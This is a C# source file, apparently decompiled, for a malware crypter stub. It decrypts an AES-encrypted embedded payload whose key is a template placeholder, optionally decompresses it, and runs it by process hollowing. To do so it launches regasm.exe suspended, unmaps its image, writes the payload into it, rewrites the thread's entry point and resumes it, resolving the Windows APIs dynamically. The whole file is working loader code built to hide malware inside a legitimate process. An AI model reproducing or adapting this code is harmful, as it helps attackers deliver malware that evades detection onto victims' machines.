using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: TargetFramework(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
[assembly: AssemblyVersion("0.0.0.0")]
namespace CrypterStub;

internal class Injector
{
	public delegate bool CreateProcessADelegate(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);

	public delegate bool GetThreadContextDelegate(IntPtr thread, int[] context);

	public delegate bool Wow64GetThreadContextDelegate(IntPtr thread, int[] context);

	public delegate bool SetThreadContextDelegate(IntPtr thread, int[] context);

	public delegate bool Wow64SetThreadContextDelegate(IntPtr thread, int[] context);

	public delegate int ResumeThreadDelegate(IntPtr handle);

	public delegate int VirtualAllocExDelegate(IntPtr handle, int address, int length, int type, int protect);

	public delegate bool WriteProcessMemoryDelegate(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);

	public delegate bool ReadProcessMemoryDelegate(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);

	public delegate int ZwUnmapViewOfSectionDelegate(IntPtr process, int baseAddress);

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct ProcessInformation
	{
		public readonly IntPtr ProcessHandle;

		public readonly IntPtr ThreadHandle;

		public readonly uint ProcessId;

		public readonly uint ThreadId;
	}

	[StructLayout(LayoutKind.Sequential, Pack = 1)]
	public struct StartupInformation
	{
		public uint Size;

		public readonly string Reserved1;

		public readonly string Desktop;

		public readonly string Title;

		[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
		public readonly byte[] Misc;

		public readonly IntPtr Reserved2;

		public readonly IntPtr StdInput;

		public readonly IntPtr StdOutput;

		public readonly IntPtr StdError;
	}

	public static readonly CreateProcessADelegate CreateProcessA = LoadApi<CreateProcessADelegate>("kernel32.dll", "CreateProcessA");

	public static readonly GetThreadContextDelegate GetThreadContext = LoadApi<GetThreadContextDelegate>("kernel32.dll", "GetThreadContext");

	public static readonly Wow64GetThreadContextDelegate Wow64GetThreadContext = LoadApi<Wow64GetThreadContextDelegate>("kernel32.dll", "Wow64GetThreadContext");

	public static readonly SetThreadContextDelegate SetThreadContext = LoadApi<SetThreadContextDelegate>("kernel32.dll", "SetThreadContext");

	public static readonly Wow64SetThreadContextDelegate Wow64SetThreadContext = LoadApi<Wow64SetThreadContextDelegate>("kernel32.dll", "Wow64SetThreadContext");

	public static readonly ResumeThreadDelegate ResumeThread = LoadApi<ResumeThreadDelegate>("kernel32.dll", "ResumeThread");

	public static readonly VirtualAllocExDelegate VirtualAllocEx = LoadApi<VirtualAllocExDelegate>("kernel32.dll", "VirtualAllocEx");

	public static readonly WriteProcessMemoryDelegate WriteProcessMemory = LoadApi<WriteProcessMemoryDelegate>("kernel32.dll", "WriteProcessMemory");

	public static readonly ReadProcessMemoryDelegate ReadProcessMemory = LoadApi<ReadProcessMemoryDelegate>("kernel32.dll", "ReadProcessMemory");

	public static readonly ZwUnmapViewOfSectionDelegate ZwUnmapViewOfSection = LoadApi<ZwUnmapViewOfSectionDelegate>("ntdll.dll", "ZwUnmapViewOfSection");

	[DllImport("kernel32.dll", SetLastError = true)]
	public static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

	[DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
	public static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string name);

	public static TDelegate LoadApi<TDelegate>(string name, string method) where TDelegate : Delegate
	{
		return (TDelegate)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(TDelegate));
	}

	public static byte[] AESDe(byte[] ciph, string key)
	{
		using Aes aes = Aes.Create();
		aes.Key = Encoding.UTF8.GetBytes(key);
		aes.IV = ciph.Take(16).ToArray();
		using MemoryStream stream = new MemoryStream(ciph.Skip(16).ToArray());
		using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
		using MemoryStream memoryStream = new MemoryStream();
		cryptoStream.CopyTo(memoryStream);
		return memoryStream.ToArray();
	}

	public static void RunPE(string path, byte[] payload)
	{
		for (int i = 0; i < 5; i++)
		{
			int bytesRead = 0;
			StartupInformation startupInfo = new StartupInformation
			{
				Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)))
			};
			ProcessInformation processInformation = default(ProcessInformation);
			try
			{
				if (!CreateProcessA(path, "", IntPtr.Zero, IntPtr.Zero, inheritHandles: false, 134217732u, IntPtr.Zero, null, ref startupInfo, ref processInformation))
				{
					throw new Exception();
				}
				int num = BitConverter.ToInt32(payload, 60);
				int num2 = BitConverter.ToInt32(payload, num + 52);
				int[] array = new int[179];
				array[0] = 65538;
				if (IntPtr.Size == 4)
				{
					if (!GetThreadContext(processInformation.ThreadHandle, array))
					{
						throw new Exception();
					}
				}
				else if (!Wow64GetThreadContext(processInformation.ThreadHandle, array))
				{
					throw new Exception();
				}
				int num3 = array[41];
				int buffer = 0;
				if (!ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead))
				{
					throw new Exception();
				}
				if (num2 == buffer && ZwUnmapViewOfSection(processInformation.ProcessHandle, buffer) != 0)
				{
					throw new Exception();
				}
				int length = BitConverter.ToInt32(payload, num + 80);
				int bufferSize = BitConverter.ToInt32(payload, num + 84);
				int num4 = VirtualAllocEx(processInformation.ProcessHandle, num2, length, 12288, 64);
				if (num4 == 0)
				{
					throw new Exception();
				}
				if (!WriteProcessMemory(processInformation.ProcessHandle, num4, payload, bufferSize, ref bytesRead))
				{
					throw new Exception();
				}
				int j = 0;
				int num5 = num + 248;
				for (; j < BitConverter.ToInt16(payload, num + 6); j++)
				{
					int num6 = BitConverter.ToInt32(payload, num5 + 12);
					int num7 = BitConverter.ToInt32(payload, num5 + 16);
					int srcOffset = BitConverter.ToInt32(payload, num5 + 20);
					if (num7 != 0)
					{
						byte[] array2 = new byte[num7];
						Buffer.BlockCopy(payload, srcOffset, array2, 0, array2.Length);
						if (!WriteProcessMemory(processInformation.ProcessHandle, num4 + num6, array2, array2.Length, ref bytesRead))
						{
							throw new Exception();
						}
					}
					num5 += 40;
				}
				if (!WriteProcessMemory(processInformation.ProcessHandle, num3 + 8, BitConverter.GetBytes(num4), 4, ref bytesRead))
				{
					throw new Exception();
				}
				array[44] = num4 + BitConverter.ToInt32(payload, num + 40);
				if (IntPtr.Size == 4)
				{
					if (!SetThreadContext(processInformation.ThreadHandle, array))
					{
						throw new Exception();
					}
				}
				else if (!Wow64SetThreadContext(processInformation.ThreadHandle, array))
				{
					throw new Exception();
				}
				if (ResumeThread(processInformation.ThreadHandle) == -1)
				{
					throw new Exception();
				}
				break;
			}
			catch
			{
				Process.GetProcessById(Convert.ToInt32(processInformation.ProcessId)).Kill();
			}
		}
	}

	public static byte[] Decompress(byte[] data)
	{
		using MemoryStream memoryStream = new MemoryStream();
		using (GZipStream gZipStream = new GZipStream(new MemoryStream(data), CompressionMode.Decompress))
		{
			gZipStream.CopyTo(memoryStream);
		}
		return memoryStream.ToArray();
	}
}
internal static class Program
{
	private static string Compressed = "%CompressFlag%";

	private static string Key = "%EncKey%";

	private static void Main()
	{
		byte[] embeddedResource = GetEmbeddedResource("a");
		if (embeddedResource != null || Key == "%EncKey%")
		{
			byte[] ciph = embeddedResource;
			string path = Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), "regasm.exe");
			ciph = Injector.AESDe(ciph, Key);
			if (Compressed == "Yes")
			{
				ciph = Injector.Decompress(ciph);
			}
			Injector.RunPE(path, ciph);
		}
	}

	private static byte[] GetEmbeddedResource(string resourceName)
	{
		using Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(resourceName);
		if (stream != null)
		{
			using (MemoryStream memoryStream = new MemoryStream())
			{
				stream.CopyTo(memoryStream);
				return memoryStream.ToArray();
			}
		}
		return null;
	}
}
